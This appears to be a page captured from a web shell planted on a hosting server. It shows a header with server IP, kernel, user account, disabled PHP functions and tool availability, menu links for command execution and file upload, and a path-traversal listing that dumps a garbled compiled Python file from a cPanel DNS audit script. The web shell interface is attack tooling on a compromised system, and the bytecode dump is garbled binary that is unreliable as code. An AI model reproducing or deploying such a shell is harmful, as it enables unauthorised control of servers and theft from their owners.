|
Server IP : 104.244.120.118 / Your IP : 216.73.216.198 Web Server : Apache System : Linux ded5817.inmotionhosting.com 5.14.0-741.22.1.el9_9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Nov 12 14:34:46 UTC 2026 x86_64 User : persoanlinjuryla ( 1006) PHP Version : 8.5.13 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0755) : /../../opt/dedrads/python/../python/../python/../python/__pycache__/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
�
�i�j� � � � S r SSKJr SSKrSSKrSSKrSSKJr S\\ \
\
4 4S jrS\
S- 4S jrS \
4S
jr
S\
S\
4S jrS
\ \
\
4 4S jrS rS rS rS rg)z�This will grab zone files and then check @ns1, @ns2, and @8.8.8.8 for
conflicting records. There are two main items that should be called from other
scripts: check_dns.server() and check_dns.user('userna5')� )�nodeN)�whmapi1�returnc � � [ SSS9S S n U $ ! [ a# n[ U[ R S9 SnAW $ SnAff = f)zDUses cPanel API to grab all zones. Used with server() but not user()� listzonesT)�check�data�zone��fileN)r � Exception�print�sys�stderr)�zones�excs � /opt/dedrads/python/audit_dns.py� get_zonesr sI � �$���4�0��8��@�� �L�� � $�
�c��
�
�#��L��$�s � �
A�<�A�soac � � U S:w a U b U R 5 S $ g! [ a$ n[ U[ R S9 U s SnA$ SnAff = f)zYGrabs Just the SOA part of what is returned when you dig SOA which is
always in $3 column� N� r )�splitr
r r r )r r s r �
formatted_soar sL � ���"�9����9�9�;�q�>�!� �� � �
�c��
�
�#��
���s � �
A
�A�A
�A
�dig_resultsc �L � U R 5 S:X a gU R 5 $ )z'strips leading and end spacing from digr N)�strip)r s r � clean_digr ! s% � �����b� ������� �argsc �T � S/nUR U 5 [ R "